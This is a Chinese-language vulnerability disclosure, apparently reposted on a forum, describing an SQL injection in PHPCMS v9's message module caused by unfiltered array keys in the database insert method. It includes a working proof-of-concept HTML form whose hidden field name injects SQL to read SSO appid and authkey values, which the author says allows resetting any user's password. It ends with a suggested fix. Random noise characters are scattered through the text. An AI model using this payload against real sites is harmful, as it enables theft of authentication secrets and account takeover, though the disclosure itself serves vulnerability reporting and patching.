|
简要描述:. C. b, d ~4 s( r5 d
9 |6 K) {2 k ~1 u
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
* y" K6 v9 H$ y) Q$ {
6 N/ T* `6 E2 y+ ?明天再更新下一个漏洞。/ D0 t* Z7 ~9 ]
详细说明:
! J3 ~/ B% P- F" d. w: I6 Q% E在/phpcms9/phpcms/modules/message/index.php中有代码如下:
& d8 l7 c3 M4 y6 S6 n
" w) @1 j: [$ ~$messageid = $this->message_db->insert($_POST['info'],true);
2 `" D" P; I* o- H& F) x7 f1 ^* C: ^+ r J0 ~
- Q; K+ `9 C: }/ w6 C$ I: rinsert方法是key value的,代码如下:( J! C' N% U7 O# i. |5 b# R
% ]5 Q' a2 V6 ^' {8 z
public function insert($data, $table, $return_insert_id = false, $replace = false) {5 {' r% z- _8 w l" }
if(!is_array( $data ) || $table == '' || count($data) == 0) {' W! f& w0 L5 X
return false;
$ V6 ? \% W/ P- A: r }
% X4 Q' _: \/ u
m2 ]* W& t& ?* V $fielddata = array_keys($data);0 [3 P b! e/ a3 Q, t: g
$valuedata = array_values($data);( I& L# S$ q9 Q. ^9 v, ~5 Y
array_walk($fielddata, array($this, 'add_special_char'));4 O" T1 w9 }# N' ?+ O
array_walk($valuedata, array($this, 'escape_string'));
0 W- z3 t* r! W) Y3 v* L
4 b8 o, p' T1 d: b $field = implode (',', $fielddata);
@* z6 k% X- d" Z& \8 }' q" r8 N $value = implode (',', $valuedata);* V* C% f# }& N5 {9 ^0 l5 N
1 I3 T. ^1 I# Q! o2 {: l2 u# P $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
% l- s2 |8 S, M9 ^0 h+ S! I $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';6 V U+ \) y9 \- b1 V
$return = $this->execute($sql);
! b+ M. O0 s; u9 q return $return_insert_id ? $this->insert_id() : $return;
; p. ?3 o% x7 D2 ^ }
- \2 i8 ]5 i0 h" W" G+ `% w0 K! o3 q) G- B9 e: q5 R5 x
# p- J2 G: P- |
嗯,很遗憾的是$ w, t: }5 J, k, \5 [6 r" S
5 n6 a1 @# p7 v0 Q! c4 Darray_walk($fielddata, array($this, 'add_special_char'));
+ X7 h3 N7 [9 \+ f: D
" ]9 q N, r5 Q8 P2 N# j. w; z7 y g) z2 j0 R. E
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。9 n0 Y; M0 A* g l
& i$ I0 }/ b; G) ~: h到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
. ?* l8 e* _% I x3 [0 \8 n: W
4 t1 i g8 T$ a" `4 o漏洞证明:
2 H$ ^, y9 B7 K9 N1 X) [6 e读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
n! X6 C8 O5 H# v) D- T
8 x* R* O+ n% m& U N# J6 |' z5 ]! A+ u0 n1 b& X
表单如下:用户名什么的得自己改一改。
7 ^- ~& B9 a7 `8 v$ L1 [<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">8 `* p+ R( y4 N
<table width="100%" cellspacing="0" class="table_form">% w9 J8 w+ `2 z) y1 R* P
<tr>
! h" g; K+ W+ j x. b6 l<th>标 题:</th>9 y5 q K& z( m# p* q' V8 d4 v0 F
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
' v* e: T4 }) K$ ]</tr>
( \- ?+ Q# W; S, M. w! ?* {<tr>
/ {: E) n& b1 e0 }0 F9 U<th>内 容:</th>2 z: p; W2 o' d
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
V3 I# o( `# H" _% z</tr>
: q/ J% o: J# A; d<input type="hidden" name="info[replyid]" value="2" /> 6 Q; g1 `1 b7 u
<input type="hidden" name="info[send_to_id]" value="cc" /> " O8 P! A; O' o5 M9 B+ Z7 g: P
<input type="hidden" name="info[send_from_id]" value="hh">
0 `; [3 q# X7 w8 R<!-- 漏洞的利用重点在这里开始 -->
2 }+ I% ]* U& T2 G3 J: ]<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> $ A* q/ I, i/ x: W4 w3 a0 N
<!-- 漏洞的利用重点在这里结束 -->: _, ]4 m8 y' `9 o9 f6 U
<tr>$ b0 T' t, L* `, b* Z
<th>验证码:</th>8 O9 l6 m4 b3 \
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>/ N6 g n4 o7 `8 I% V
</tr>0 O9 H5 o8 r0 w9 q* c& ?2 e
<tr>3 l: N7 ]$ M; c. e! D
<td></td>
) G# I6 t, o! Z" M. D* x<td colspan="2"><label>
7 I( ]( |* C; |5 k9 Z& B4 e6 h<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
1 A* A3 [) u7 l' H6 ?& z+ L0 s7 G</label></td>7 X' |1 G! g; f! m* G1 f$ h! k
</tr>1 }8 u. q/ o0 e' e9 X' m
</table>
/ t9 G7 ]3 \7 P; S; i! m6 x</form>
# D7 Q l* z6 O1 b1 Y; k在add_special_char函数内对key做过滤就可以了。9 i( x* [' l8 C: S9 ~& Z
2 z0 a: u: ^, B U2 D! A5 o' o
0 x' G! m: c: |# S5 w
5 \" h$ O( b# C |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|